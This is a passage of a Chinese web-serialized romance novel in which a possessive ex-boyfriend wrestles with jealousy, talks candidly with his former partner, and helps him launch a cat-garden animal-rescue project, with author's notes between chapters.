直到洗漱完躺在床上,贺越邱心里那股莫名而来的慌乱都仍旧没有褪尽。除了甄甄找贺过岭那次,他从来没有过这样的感觉,这让他很害怕,甚至有些神经质的咬着曾经断过的手指甲,怀疑甄甄把自己赶走,是不是就为了把贺过岭喊去。 他以为自己可以装作不在意不嫉妒,甄甄喜欢他听话没有攻击性,可事实上他连设想都从来不敢往深了去想,他根本做不到眼睁睁地看着甄甄落入他人怀抱。 贺越邱坐起来,他觉得自己不应该回来的,可如果现在再过去,甄甄发现后会不会生气?他一生气,是不是又会像之前那样,连接近的权利都会被剥夺? 贺越邱承担不起这个代价,他在客厅里焦急地转着圈,刚迈出一步,又仿佛清醒般停住。一颗心仿佛被劈成了两半,正各自较劲拔河,把他留在中间被左右撕扯。 怎么办?到底该怎么办? 如果没有那一晚,没有亲眼见证甄甄和贺过岭的亲密,贺越邱绝不会这样患得患失,就算甄甄不愿意和自己复合,他也有绝对的自信,甄甄不会和其他男人轻易上床。 可……可那个没有做到底的噩梦就像绞杀榕的种子,落在他心里生根发芽,将他的心脏、器官、骨骼寄生缠绕,一发作就疼得他喘不过气。那些画面犹如昨日所见那般清晰,他只要一想起来,曾经断掉的指甲都会幻痛。 他再也不敢笃定甄甄不会找其他人,每一次从噩梦中惊醒,他都浑身发冷,忍不住地回想那一天的情形。他总是会逼问自己,如果,如果自己没有以死相逼,如果甄甄和贺过岭之间真的有那么一丁半点的感情,他们那天会不会假戏真做,甄甄会不会拥有除了自己之外第二个男人。 第三个……第四个…… 贺越邱崩溃地跪在地上,按着胸口闷声呐喊,眼泪顺着高挺的鼻梁落到黑色地毯里,转瞬就被无声无息地吸收—— 作者有话说:虽然火葬场文追妻部分不可避免会更多着墨在攻身上,不过我想甄甄的刻画也应该要有,他还是很可爱很善良很柔软,但是会更聪明,更有能力,也更坚定。两清不是说野牛就追妻成功了,这种带着发泄惩罚他的过程甄甄已经经历够了,他不想再纠结于谁欠谁,所以打算平常心一点。但这也就意味着牛更陌生人了,所以察觉到不对的牛也会改变方式,估计也快完结啦!我觉得可能再写个十章左右? 第82章 第 82 章 出尔反尔。 贺越邱按着小腹处的纹身, 喘着粗气,强迫自己冷静下来。 他去院子里抽了几根烟,眼睛不受控地瞥向外面停着的车上, 思绪在烟雾缭绕中无限放空, 什么也没想。 “咳咳。” 最后被烟呛得咳嗽不止, 肺部一阵抽痛, 贺越邱才按灭烟头。 他知道他现在应该回房间里, 像刚刚那样什么都不要去想,像个白痴或者宽容的丈夫一样去睡觉,可那个念头却仿佛幽灵般,一直盘旋在他的头顶, 让他迈不出一步。 但做另一个选择却很轻松。 更深露重, 贺越邱沉凝着脸, 自己跟自己较了半天劲后, 最终还是忍不住转身,找了另一辆没出事故的车,沿着原路返回。 疾驰的路上, 贺越邱不断在心里发誓,他只是疑心病太重, 他只去看一眼,什么也不会做。 两旁的行道树在月色下飞速后退,贺越邱开出了平生没有的速度, 他害怕像上次那样无力阻止, 只能眼睁睁地看着。 但真的下了高速,马上就要拐进村子里时,贺越邱却又放慢了速度,四个轮子几乎乌龟爬一般, 连车灯都调到近光、亮度也切到最低,悄无声息地行驶在路上。 他记得甄甄有一段时间睡眠特别差,现在不知道好没好,但他不想吵醒甄甄。 车没抵达甄甄的二层小楼,在救助基地外几百米的位置就远远熄火停车,免得甄甄养的那几条狗听见动静冲出来叫。 贺越邱下车步行,村里有路灯,他走得倒不难,只是心里煎熬,像被人放在火上反复炙烤。 走近后,院墙里的柯基很低的叫了声,贺越邱忍着焦急,好声好气地说:“是我。” 这段时间他经常来帮忙,下厨的时候为了讨好这位甄甄面前的狗红人,他偷偷喂过柯基不少鸡腿,认出来是熟人没危险,柯基就没有再出声,只是透着门缝亮着两只绿幽幽的灯泡眼,仿佛在无声质问你来干什么。 贺越邱倒是很想问它我走之后还有没有人来。 他围着院子找了一圈,除了昨天来给甄甄过生日留宿的那几个朋友的车之外,没有发现多余的车。再抬头看一眼小楼,安安静静地矗立在黑夜里,听不见什么不该有的声音。 贺越邱心底的大石终于落地,嘴角不由自主地扬起,压抑已久的劣根性悄然冒头,促使他不由自主地想,或许甄甄对自己仍有余情,否则不会留那份蛋糕。 他连脚步都轻快了许多,但这样的好心情并未持续太久,当看到方寸行的车就静静地停在空地上时,他的脸色又变得极臭。 来的路上一直害怕贺过岭会来重蹈覆辙,却忽略了姓方的光明正大的又是来贺生又是留宿,而自己这个男……前男友,却只能打道回府。 贺越邱不会怪甄甄,但他会嫉妒方寸行。 凭什么…… 贺越邱慢慢握紧双拳,手心处传来尖锐的刺痛,却压不下胸腔中的酸意。 他察觉到自己今晚的情绪波动起伏太厉害,深吸几口气,尽量平静。 贺越邱回到自己车上,周围黑得伸手不见五指,只有面前的路灯附近被照亮一个圆形,他借着这点光远远地望向那栋村子尽头的小楼,不明白自己怎么会变成现在这样,一个完全失去了理智、极度情绪化的人。 还是说他一直都这样,只是从前都把这份情绪转移给甄甄去承担了,现在只不过再也没有那个愿意包容的人,所以这份情绪化带来的苦头就只能自己吃下。 贺越邱想了很久,也没有得到一个能令他满意的答案。他现在也不庆幸了,也许今晚确实是自己胡思乱想,可如果再这么继续下去,他所担心的、害怕的,迟早有一天会变成事实。 甄甄那么年轻,又漂亮,性格开朗大方,离了自己一样照样可以赚很多钱,走到哪里都特别受欢迎。在贺越邱眼中,这世上没有比甄甄更完美的人,管他男男女女、甚至是猫猫狗狗,都会很容易就喜欢上他。甄甄只是伤得太狠,暂时不想再进入感情,可等他缓过劲,想谈恋爱了,找个伴侣简直比喝水还简单。 贺越邱越想越怕,想象自己能够大方放手祝福是一回事,可一旦意识到这想象真会变成现实,他比谁都清楚,他根本就接受不了。 他的占有欲太强,连宠物都不愿意它们分走甄甄的注意,更何况是一个要来抢甄甄的活生生的人。 危机感在贺越邱心中飞速扩张,他很快就摒弃了自己曾经的承诺,他可以骗甄甄自己绝无其他心思,却无法自欺欺人。 他摸着隐隐钝痛的心脏,感受着那完全为甄甄而跳动的心脏,无比确定一件事,他还是想要甄甄,不只是弥补、道歉,还想渴望一个能够重新和他在一起的机会,牢牢地占据着他身旁的位置,不让任何人再觊觎,也绝不让甄甄有机会被他人哄走。 贺越邱痛骂着自己,“你是一个卑劣,无耻,出尔反尔,贪得无厌的禽兽!” “可我怎么也没办法放弃甄甄啊……”骂完,他又双手捂脸,喉间发出野兽绝望的呜咽,“我试过了……所有的……” 月亮高高地挂在天边,时不时一朵云被风吹来遮挡住光线,片刻后又重新映亮着这片远离喧嚣都市的村庄。银中又带着些书卷似的黄色的月光,像一道道沉默的潮汐,不冷不热地将树影、建筑、犬吠,连同这个夜晚的一切声响都卷入其中,直至湮灭。 贺越邱迷迷糊糊醒过来的时候,已经日上三竿了。他下意识地看了眼后视镜,对眼睛里爬满的血丝已经习以为常。 他推门下车,踏在地上时一阵阵眩晕,走出去几步才想起什么似的,又折返回来,打开储备格,把里面的过敏药倒出来吃了一粒。 走了十几步,心脏开始微微作痛,不太剧烈,但又隐隐约约地挑动着人体的痛觉神经。 这种生理上感受到的心绞痛和心理上的并不一样,但贺越邱早已习惯胸腔的疼痛,他毫不在意,只想着一会儿见到甄甄一定要尽量藏住自己的真实想法,千万不能够被他看出来。 戴维和方寸行等人一早就走了,甄甄和小张睡得晚,今天就起得也晚了点,贺越邱到的时候,他们才刚把热好的剩菜吃完,准备去救助基地喂粮铲屎。 贺越邱走进来时,糟糕的气色吓了小张一大跳:“贺总,你遗嘱里有甄甄的份吗?” 贺越邱毕竟人高马大,哪怕颓废,也有种丧气的帅。他淡淡地看了眼小张,后者顿时闭上嘴巴,不敢再多说。 甄甄坐在石凳上,正往后抻着手系小狗围裙,贺越邱走过去,几下就帮他系好,漂亮的蝴蝶结丝线顺着后腰垂到缝隙中。 甄甄站起身跺了跺脚,让围裙更合身点,贺越邱这才看清楚他这一身,袖套、筒靴、围裙、手套,都是耐脏的棕色,但围裙上用白色勾出来一只小狗脑袋,手套的掌心和指尖处分别是一个大的粉色爪垫和四个小的粉色爪垫,沾着水往石桌上一按就能画个梅花印。 快入夏了,每天都是晴空万里暴晒无云,甄甄抓着一顶草帽戴上,这草帽颜色和他头发差不多,多做了两只毛绒绒的狗耳朵,趴在帽檐上,一动就甩来甩去。 贺越邱盯着甄甄的脚,特别想把他翻起来,抓着筒靴看看底下是不是也画了小狗爪垫。 他的心砰砰直跳,呼吸也有点急促。 甄甄看他状况不对劲:“你怎么了?” “我可能过敏了。” “啊?”甄甄歪了下头。 贺越邱双手猛地揣进兜里,忍住想揪一下他草帽上啪嗒啪嗒的狗耳朵的冲动,声音有点颤抖地说:“越可爱的小狗,我的过敏反应就越严重。” 甄甄一开始还没反应过来,以为他真快不行了,掏出手机正要打急救电话,贺越邱按住说自己没事,他才后知后觉地反应过来,忍不住翻了个白眼。 等着他皱眉骂自己的贺越邱:“你怎么没生气?” 甄甄无语地扫他一眼:“我为什么要生气?” “因为我……” 小张扛着巨大九齿钉耙,非常煞风景地插了一句:“贺总也来帮忙铲屎吗?” 贺越邱咽下没说完的话,一回头,目光不由自主地落在他的工具上:“……你扛着这东西干什么?” “铲屎啊!你看不出来这是放大版的猫砂铲吗!” “………”这谁能看出来。 “用得着这么大的吗?”贺越邱又补了一句。 小张笃定自己一定是受到了来自天龙人的鄙视,愤怒颤抖,连贺总都不叫了:“那可是整整300多只的猫!你知道它们一天能产生多少屎吗!你不能够侮辱我神圣的工作!” 贺越邱:“没想到有一天光听别人说话就能闻到味儿。” 小张:“甄甄你说句话啊!” 甄甄说了:“等猫咪花园开业,可以让大学生给我们20,体验铲屎。到时候你的工作量就轻松了。” 小张气得:“你们合起伙来欺压我一个无辜可怜的兽医!” 贺越邱雷达巨响,忙对甄甄解释道:“他乱说的,我知道,我们早就分手了,现在什么关系也没有。” 根本就没打算要说话的甄甄:“……” “你说的都是我的词儿啊。” 忽然间一道白光从贺越邱脑海中闪过,他猛地抓住,仔细回想了一下今天从遇到甄甄开始他的反应,最后忍不住眼皮一跳—— 好像……甄甄没那么抗拒和排斥自己了?—— 作者有话说:其实不然,只是觉得没必要再那么反应过度而已,这下真成最熟悉的陌生人了[笑哭] 第83章 第 83 章 谈心。 是错觉吗? 贺越邱压下嘴角不自觉扬起的弧度, 他不敢太得意,哪怕他再希望事情如自己所料那般,他心底也有一双无形的大手拉着他, 让他不敢过多地幻想。 但随着他跟在甄甄身边越久, 以他对甄甄态度的敏锐程度, 他又渐渐确定了这或许不只是自己的一厢情愿。 上午时间短, 把粮喂了、屎铲了, 又整个基地检查过一遍之后,眨眼功夫就到了中午,不用谁说,贺越邱就默契地先回去做饭。 让他意外的是小张也跟在他后面。 接收到贺越邱疑惑的视线, 小张挠挠头:“别瞪我啊贺总, 甄甄让我来帮你搭把手, 他说你出力最多还要做饭挺累的, 说我一天到晚就知道吃两个月胖了二十斤。” 贺越邱遏制住加快的心跳,回头看了眼正往猫咪花园去的青年,阳光下那道清瘦的背影模糊成一抹看不清的阴影, 像小孩子吹出的透明泡泡一样,轻轻地飘远了。 贺越邱的心跳无端漏了一拍, 手指微微一动,似乎想抓住那颗离远的心。 贺越邱收回视线,压下心底莫名来的不安。 中午, 饭菜上桌, 甄甄刚好回来,带着外面灼灼的日光和热气,原来雪白的脸蛋晒得红扑扑的,额头沁着圆润的汗珠。他背着光, 衬得那双琥珀色的眼眸亮晶晶的,浮动着水润的光点,像村口那条波光粼粼的小河。 贺越邱刚要张口就看得呆了半天,脱口而出一句“宝贝真漂亮”,说完才后知后觉失言,赶紧道歉:“我没别的意思,就是单纯想夸你。” ——他倒是有,但是也不敢说。 甄甄瞥眼:“你怎么一惊一乍的,你夸我,我难道还会骂你吗?”说着转身去厨房洗手。 贺越邱把那句“没少骂”咽下去,有点摸不清甄甄这天气预报般的多变态度,但几次三番有意无意的放纵令他胆子也大了不少,眼睛黏着那截收在围裙里的细腰和垂在滚圆上的系绳不放。 谈恋爱时家务和一日三餐都是贺越邱一手包办的,他很少能见到甄甄系着围裙、被勒出腰线的样子,仅有的几次也多半是他按着这个漂亮男生换上然后压在厨房的灶台上…… 贺越邱腹部一热,他低头看了眼,若无其事地翘起二郎腿。 甄甄甩着手上的水出来,路过他时有些奇怪地看了一眼。 这顿饭贺越邱吃得有些煎熬,吃完他正要起身收拾碗筷,甄甄推一推瘫在椅子上揉肚子的小张:“吃饱了别坐着,洗碗去。” 小张唉声叹气,贺越邱不明所以,他是每晚睡觉之前都会在心里默默许愿,希望新的一天甄甄会多给自己一些好脸色,但今天的好脸色是不是给得有点太多了? 好得让他都有些诚惶诚恐了! 这是一个在感情里犯了死罪的人该有的待遇? 贺越邱对自己曾经做过的事有多恶劣倒是心知肚明,以前是盼着甄甄能对自己好一些,现在人真对他好了,他又觉得浑身都不自在。 “别,我来吧,你们坐着休息。”贺越邱一把抢过小张手头的活,手臂肌肉绷得流畅有形,看得小张一愣一愣的。 这年头怎么还有人抢着干活,姓贺的被祝无双夺舍了? 小张求助地看了眼甄甄,又带着点狡猾:“这可不是我偷懒啊老板!贺总他太勤快了,没办法,能者多劳嘛。” “你巴不得能偷懒吧。”甄甄翻了个白眼,又问贺越邱:“你真不嫌累?” “我体力怎么样你心里应该有数。” 小张“哦~~~”地怪叫一声,在他们两个人之间看来看去。 “……医者不自医,你给我小心一点。”甄甄举起沙包大的拳头威胁他。 贺越邱看着他故作冷脸透出机灵的生动表情,眼神都柔和了几分,要不是手里端着盘子,他可能会控制不住上手摸摸柔软温暖的头发。 他以前老说甄甄像小狗,小狗多可爱,其实小狗哪里有甄甄可爱。 贺越邱想着想着忽然就笑出了声,引来甄甄莫名其妙的视线后,又轻咳几声掩饰尴尬。 他一进厨房,看起来老老实实的小张立刻挪到甄甄面前,压低了声音道:“你咋给贺总调成这样了?” “什么跟什么。你别乱说。” “哪个字是乱说?除了小说和电影,世界上哪有掌握经济命脉的霸总为爱洗手作羹汤,听话成这样的!要么你手段了得妲己再世,要么就是姓贺的干了畜生不如的事,他以前虽然也宠着你惯着你,但可没现在这么唯命是从好脾气!” “他以前怎么?” “那颐指气使高高在上的,我怀疑压根没把我这等小市民当人看,高贵得好像生理构造都跟普通人不一样似的。现在感觉还勉强有点人样了,至少不拿鼻孔看我。” 甄甄顺着他的话略一沉思,发现还真是这样,别的不说,光他提出分手后贺越邱的表现,就足以证明他那时虽然也爱自己,或许没有故意的意思,可潜意识里也并未把自己放在与他平等的地位上。 他在贺越邱眼里,大概是一个乖顺美丽的恋人,一只活泼可爱的小狗,一个承载欲望的玩具,一瓶治疗性/瘾的特效药。 现在的贺越邱——甄甄也不敢笃定他就真的变好了,所谓江山易改本性难移,他多半只是把自己的真实想法藏到一个连他自己都察觉不到的极深极深的角落里,但只论表现出来的一面,的确就如小张所说,“好歹有个人样了”。 甄甄想得出神,连小张发饭晕趴在桌上睡午觉、许久没说话了都没察觉,直到贺越邱洗完碗出来,见他还在发呆,笑着走过去,顺手摘了朵开得正好的木芙蓉别在他的耳朵边。 “在想什么?” 甄甄吓了一跳,回头一看是他,有点儿不高兴地说:“别蹬鼻子上脸。” 贺越邱顿时舒服了。 “你再多骂两句。” “?”甄甄用看变态的眼神凝视着贺越邱。 后者被这样看着也不躲不避,甚至挺正胸膛,颇为骄傲自豪地接受着审视。 甄甄神情复杂,好像真被小张说中了。 他看了眼小张,起身,贺越邱秒懂,跟上。 两人并肩沿着院墙散步,午后强烈的阳光被一排参天大树遮挡,只在风吹叶晃时洒下点点辩驳的碎金。 这一幕太过安和美好,仿佛距离上一次已经过了整整一个世纪那么久,贺越邱心潮难平,像世界上最贪婪的小偷,恨不得把这段时光揣进兜里带走,找个没人的地方藏起来。 甄甄心情要平静得多,即使是和贺越邱对视,那种心脏被轻轻揪着的酸痛,也好像水泥地上轻轻摇晃着的光斑一样微末。 他问贺越邱:“我不会生气,但我想知道,你是不是一直都没有把我当做‘人’来看?比起‘人’,我更像可爱的宠物,更像随时供你发泄使用的玩具。” 贺越邱的表情明显不是很相信那句“我不会生气”,但他也不想经历过这么多事之后再对甄甄隐瞒什么,眉毛纠结一番后舒展开:“是。我根本没有办法正常地谈恋爱,也没办法把你当做一个独立的个体去尊重,我自始至终都觉得你就是我的,只能是我的。” 甄甄张了张嘴,想说什么,被贺越邱堵住:“但是我想请你相信,同时我也没有把自己当人。在我母亲面前,我觉得我是一个能满足她唤回我父亲的工具;在贺家,面对贺氏,我觉得我是一台必须日夜精密计算保持它能够运作的机器……而在你面前,我好像终于浮出水面的溺水者,能够稍微松口气。我能够对你释放我被一直压抑的情绪,欲/望,渴爱。无论我在你面前做什么、说什么,只要把心里那只野兽藏好,我就可以肆无忌惮、为所欲为。” 甄甄果然还是不能够做到完全无动于衷,他的脚步快了些,双手插着兜,低头闷闷地往前走:“我同情你的不幸,但你的不幸不是由我造成的,我没有义务做你的发泄出口。” 贺越邱凝望着他被碧绿的叶面反光衬得白净清透的侧脸,想起了那个曾经一心一意、献祭般爱着自己的人。 他的眼眶里渐渐有了些许湿润,一眨,鼻尖就泛酸。 甄甄回头看了一眼:“你又在想以前那些事吧?你知道的,我从来也没有对不起你过,这段感情我问心无愧。” 贺越邱笑起来,把酸意强逼到眼角掩藏:“嗯。我很怀念那时候还爱我的你,但现在的你比在我身边时过得更好、成长得更快,所以我觉得还是现在的你最好。当然无论你成为什么样子,我都会喜欢你的。” “像对小狗一样的喜欢?”甄甄看他的眼神中多出几分嘲讽,嘴角却往下垂着。 贺越邱停下来,甄甄不明所以,也跟着停下。 他看着甄甄的眼睛,这次异常认真和坚定地说:“我知道你应该接受不了。但是甄甄,除了你之外,我再也没有爱过任何人,包括我的家人,包括我的母亲。我只爱你一个,这份爱是孤本,所以我从来都没有机会可以去辨认、去建立一段真正健康的、健全的恋爱关系。” 他顿了顿,苦笑道:“听上去太像强词夺理的辩解和开脱了……我只是想坦诚一些把我自己剖开给你看。可能我对你的爱最终表现成了让你难以接受的形式,像你说的那样,我对你的喜欢是对宠物一样的喜欢,可是我也想让你知道,让你相信,连宠物我也只能够养你一个,我对这个世界上其他的人和感情都过敏,只有你是我唯一的安全区。” 第84章 第 84 章 甄甄老板。 贺越邱从没想过有一天会把自己剖开了放在太阳下暴晒, 太多时候,连他自己都本能地去回避因性格而带来的在感情中的缺陷,早就习惯了把一切最真实的情绪都藏在无人知晓的深渊。甚至在它就要被揭开时第一反应不是直面, 而是用尽各种各样歇斯底里的方式试图遮掩, 这导致他在和甄甄之间的感情出问题后, 不受控制地就选择了一条回不了头的路。 贺越邱不能为自己辩驳。把曾经难宣于口的真心话都说出来后, 他感到了一种前所未有的、像被风轻轻吹起来的轻松。 他望着甄甄的眼睛, 看见了初见时一眼心动的少年,热恋时可爱黏人的恋人,他数不清多少次的暗自感慨:如果时间能停留在生日那一晚该有多好,后来的种种难堪都不会再发生。 可他眨了下眼睛, 却事与愿违, 终究还是看见了那双眼睛被伤害后的痛苦绝望, 浓郁到近乎凝成一团黑色倒映在他的瞳孔里。最后逐渐归于平静, 就如同现在这样,即便在树下与自己近距离地对视,也再看不出那里面有丁点怨恨怨怼。 贺越邱此时此刻才发现, 能被甄甄恨着,能被他讨厌, 对比之下,竟也不算一件很难以忍受的事情。甚至这也算是爱的另一种极端。 他的喉结动了一下,嗓音喑哑, 低声道:“我很想让你知道, 我不是故意要把你物化。如果你厌恶我对你的看法,那我可以换一种方式,我愿意做一个趁手好用的工具,打上只属于你的价签, 除了你谁也不能使用我。” 甄甄现在算是彻底明白贺越邱这个人了,他还真不是只物化他,而是平等地物化所有人,包括他自己。 “你愿意敞开心扉跟我说这些,我很意外,也……挺感谢的。你解开了我的一些心结,以前想不通的,现在也都差不多捋清楚了。” 想通之后,心境自然也就打开,连笑容也变得如此平和。 贺越邱已经太久没有看见甄甄在自己面前笑得这么自然过,一时有些看呆,就又听见他说:“我以前就跟你说过的,我和你不一样。虽然我没有你身份高贵、富有,但我想我的人格比你要更健全一些,即便我从小的成长环境同样处处充满陷阱,甚至比你还要更恶劣一些,我也没有陷进去过。所以我既不能接受你因过往经历造成的扭曲性格释放在我身上,也很难长久地耗费心力去做恨一个人这种对我而言很负面的事。” “当然……你比社会上大多数人都懂什么是爱怎么去爱,这是你的天赋。很珍贵,也因此而深深地吸引着我。” 甄甄笑了笑:“谢谢。” “我们之间已经一笔勾销,没有谁欠谁。我不会再讨厌你、故意找你刺,也不会因为这么想就马上和你划清界限老死不相往来。” “我倒是希望我们的恩怨爱恨继续纠缠。” 贺越邱笑容复杂,他已经猜到甄甄接下来或许会说的话。 果然,甄甄转身继续往前走,也没管他会不会跟上来,径直道:“抛开感情问题不谈,你是一个很有能力的人,这个我认识你这么多年,最清楚不过。我不会只做现在这一个项目,以后还会投入更多精力去做我想做的事,大概会和你有很多合作。我是不会轻易和我的合作伙伴闹掰的,即便他是我的前男友。我想你应该更深谙于这种规则,不会吝啬于对我进行一些必要的投资。对吧,贺总?” 甄甄回头,这一刻看向贺越邱的眼神、微微上扬的嘴唇,都透着一种攻击性和还不太熟练的算计,仿佛一只刚满月就拖着大尾巴出来骗人的狐狸。 而贺越邱就像没有鱼饵也上钩的智商清零鱼,面对甄甄这只彻头彻尾、完完全全的犬科动物,早已经失去任何手段。 他勾唇道:“我要真的对你刮目相看了。” 甄甄一开始提出来要打造猫咪花园时他还觉得这只是小孩子过家家一般的玩闹,他愿意陪着他玩这个大型实景经营类小游戏。但随着整个进程的不断推进,和今天的这几句话,贺越邱越来越觉得惊喜。 他不仅相信甄甄的能力,更相信他执拗的性格,在做某些事上,他这种性格往往能爆发出巨大的能量。 贺越邱承认他真的太小瞧了甄甄,总觉得他好像就应该在和爱人分手后以泪洗面忧郁憔悴,他总是对他抱有无底限的怜惜。毕竟没有哪个男人会不为爱人的眼泪动容,可怜他过得不好。 然而实际上,真正耽于情爱愁于苦恨的人,竟是他自己。而他可怜的那个人,其实早已经从那段一地鸡毛的感情中走出来了,只剩他一个人还狼狈地停留在原地。 贺越邱忽然笑了,眼神里带着浓浓的自嘲,他想现在的自己不能再吸引到甄甄的目光简直是再正常不过的事。 甄甄已经强调过无数次,他不再在意过往种种了,他为什么还一直执着于此? 他还是爱他,越来越爱。既然爱,他为什么非要克制对这个人的渴望?他想要他,想和他在一起,想像从前那样肆无忌惮地拥抱接吻做/爱。他不只是想要道歉、弥补,他更想重归于好。 是太贪心了,只要没有忍住迈出了第一步,就会越来越不满足。可贺越邱不想再否认自己的贪心,他势必要重新得到甄甄。 该向前看的,一味地优柔寡断本就不是他的风格。 甄甄有些疑惑地看向贺越邱,他仿佛顿悟般,整个人焕然一新,带着些志在必得的气势,跟上来在他面前说:“你想做什么都可以,不必考虑除了自己之外任何人的想法,包括我的。你知道我有这个能力让你得到你想要的一切,也只有我才有这个能力。” 甄甄猛地往后拉退几个身位,满脸说不出的嫌弃:“不好意思,我忽然觉得你还是患得患失的时候更顺眼一点,现在这副模样很欠揍。” 贺越邱目光灼灼,跟向前一步,但很快就止住:“你想怎么揍我?” “离我远点!打你都怕你爽到!” “走慢点,看路,别摔了。” “我不是小孩儿。” “哦,那个黄毛不是经常这么叫你?甄甄……bb?”贺越邱嗓音低沉,放缓语速念这几个字时,声音充满磁性,仿佛自己也在回味,坏笑道:“他天天叫你宝宝。不算吗?” “哦,你以前不是很大方吗,怕不是巴不得他这么叫我吧?现在怎么变得这么小气了,还开始翻旧账?”甄甄故意戳他痛处。 贺越邱的脸色果然不太好,狠狠地磨了磨牙,坦坦荡荡地承认:“以前那是有病,现在我病治好了,就是不乐意黄毛这么叫你。” 远在星火总裁办守着打印机吐纸的戴维:“阿嚏!边个扑街督我背脊?” 他揉揉鼻子,眼睛在格子间的同事们里找了一圈,最后也没发现到底谁在背后说自己坏话。想了半天后掏出手机,找到置顶好友发去语音。 “嘟—嘟—” 兜里的手机嗡嗡震动,甄甄掏出来点开,戴维热情洋溢的声音传出:“hello甄甄bb,想我没有啊?不要否认哦,我已经掌握你偷偷想我的证据了!” 贺越邱呵呵笑了两声,毫不掩饰自己对戴维的嫉妒:“凭什么这个黄毛就可以随便叫你宝宝,我就不行?我不是你的合作伙伴吗?” “三令五申工作场合称职务,贺总,麻烦你叫我甄老板。” 甄甄哪想到他这么快就适应了新身份,稍稍有些心虚地挪了挪腿,掐着路边新鲜嫩绿的灰灰菜,食指都被叶汁染得发青。 贺越邱微笑眯眼,一字一顿道:“收到,甄甄老板。” 他脸上忽然一凉,什么东西顺着脸颊滑下去。伸手一抓,是把被捏得稀碎的灰灰菜叶子,再抬头一看,甄甄老板正带着点恶作剧得逞的表情叉腰偷笑。 贺越邱猜他一定很为自己做的“坏事”而得意。 他勾勾唇,觉得坏坏的甄甄老板也很可爱。 两个人把事情都说清楚之后就原路返回休息了会儿,下午施工队就来正式开工了,按老规矩由甄甄敬香,又放了一串火炮,几个大挖机便风风火火地进场平整土地。 连村里的老人们都过来看热闹了,有的背着手站在高处,有的凑在一起指着挖掘机说哪台的师傅技术更好,哪台看起来像学徒,现场比赶集还热闹。 甄甄在一边监工,激动得手都在抖,他跟小张说:“我爸妈还在的时候家里接新房,只能大人去做这些仪式,没想到现在我比他们还先当大人。” 小张看着挖机乐呵呵道:“说明你比你爸妈还要厉害啊,他们在天之灵看到你这么能干,肯定也会很欣慰的。” 甄甄一个劲点头:“我也觉得!我肯定是我们老家最有出息的小孩!” 贺越邱在一边只看不说,被甄甄的话逗得勾起嘴角,又同时涌上一阵酸涩,这个最有出息的小孩从小县城里一路走到今天,也不知道吃过多少苦,他更是带给他过太多不幸。 但以后不会了—— 贺越邱看着男孩颌线清晰的侧脸,眼神一片柔软,心中暗暗发誓,无论他们还能不能重新在一起,他都不会再让甄甄受哪怕一丁点的委屈,谁都不可以再伤害这个人,包括他自己。 他为甄甄是最有出息的小孩而骄傲,但他更希望甄甄可以继续做一个最幸福、最快乐,最单纯的小孩—— 作者有话说:宝宝现在有很多很多钱,以后还会有更多更多的钱[可怜] 第85章 第 85 章 邀请。 有贺越邱的手把手创业指导, 甄甄的猫咪花园项目进行得很顺利,赶在天气还没有热起来之前把园景造好了,只是马上就要面临酷暑, 刚移栽的观赏花卉需要高精度维护, 状态也都不怎么好, 所以一时半会儿还不能开园。 甄甄倒是不着急, 粉丝们却急得刷屏。 【急急急急我是急急国王到底什么时候开放营业呀!】 【我要见主播!啊不是, 我是来吸猫的!】 【所以开园当天真的会有细腰白软猫耳男仆接待吗?一定有吧(捂嘴偷笑)】 【我已经不止一次用小瓦宝宝的声音在脑子里幻想过他对我说欢迎光临了~】 【呃你们完全暴露真实目的了吧……】 【不对,不是去吸猫撸狗的吗?】 【我必须立刻马上来小瓦的花园打卡!合影!】 昨天施工队离场,效果图已经完全落地了,甄甄就趁早上凉快过来开直播给“云监工”们播报进度。 他照旧是声音入镜, 随着镜头一一讲解, 清楚的吐字和好听的声音在初夏像一道潺潺流淌的溪水, 好像喝了杯冰水般舒服。很多从来没关注过他的观众偶然刷视频被推送了直播间, 只是听见他的声音就直接点了进来,在线人数很快就从两千多人飙升到一万多。 甄甄一一回答评论区的留言:“花园需要先维护,等夏天过去北方又很快降温了, 观赏效果也不会太好,打工猫咪们也需要更温暖舒适的环境, 所以正式开园的时间会定在明年的春天,以最好的状态和大家见面。大家不用着急,再耐心等等, 我们春暖花开再见面。” “这期间会一直更新花园后续的维护和改造vlog的, 谢谢大家的关心和喜欢,我会尽全力为大家打造一个工作学习之余能够与萌宠们放松玩闹的乐园。” “没有猫耳男仆这种东西……狗耳兔耳熊耳都没有!只有一个善良敦实的兽医会穿着职业装为大家端茶倒水。什么职业装?嗯,有绝育必备无菌白大褂版,和袁华同款铲屎打鱼服, 看大家更喜欢哪种。” “合影?合影不行哦,这是另外的价钱。” 甄甄和观众们一路聊着天,花园不知不觉就逛完了,他对着镜头挥挥手,意犹未尽地和大家道别,在关闭直播间之前突然被刷了满屏的火箭特效。 评论区纷纷打下感叹号,甄甄眼睛一睁,还没来得及看清楚送礼物的人是谁,屏幕就黑了下来,只剩个“直播已结束”的界面。 甄甄第一反应就是炸毛:“贺越邱!你为什么给我刷礼物!钱多得没地方花可以给小张多买点兽药,你知不知道刷礼物的钱会被平台抽走一半!你这个败家爷们儿!” 正在角落里捡建筑垃圾的男人动作一顿,快速塞到一半的手机塞回裤兜,旋即若无其事般站起身,挺直腰背,咳嗽几声,理直气壮道:“网红不能跟大哥私底下要礼物,方寸行和那个黄毛到底有没有教过你。遇到心怀不轨的大哥,私底下收他的钱不仅要出来陪吃陪睡,还有可能会被起诉把钱退还。虽然我不会对你这么做,但是我必须要以身作则,教给你正确的收礼物方式,不然到时候你被骗了怎么办?” 甄甄气冲冲地踢飞脚边的石子:“你以前难道还骗少了?!” 石子刚好擦过贺越邱的裤腿,他赞叹一声:“好球!” “以后不准再刷礼物。滚去做饭!” 贺越邱边往回走边可怜巴巴地说:“你现在好凶啊。” 甄甄手一叉腰,冷脸挑眉:“我对狗没有好脸色。” “你这就是胡说了,你对胖胖小黑他们比对我可好多了。你对人对狗对猫都很温柔,只是对我才这么残忍。” “一年前的大气贺总一定不会想到一年后,他连狗的醋都吃。” 这场对话最终以贺越邱的“我活该”而宣布彻底失败。 吃完饭,小张苦着脸去洗碗,贺越邱和甄甄说开过之后,现在不跟他抢这种工作,就跟在甄甄身边看他在院子里溜达,一会儿牵着水管浇浇花,一会儿和柯基玩,有需要体力的活他就上去抢过来。 六月底天也不太热,院子里一地树荫,风吹过就泛起阵阵叶浪,贺越邱无比放松,把公司那些耗心神的事全都扔在一边,只想专心地享受着与甄甄难得的独处时光。 他坐在石凳上,手撑着脸,眼神比夏风还温柔地看向正蹲在地上洗手的甄甄,胸口一块地方又甜又涨的,让他幸福,也让他鼓胀,好像那东西像窜天的藤蔓般,马上就要冲出来了。 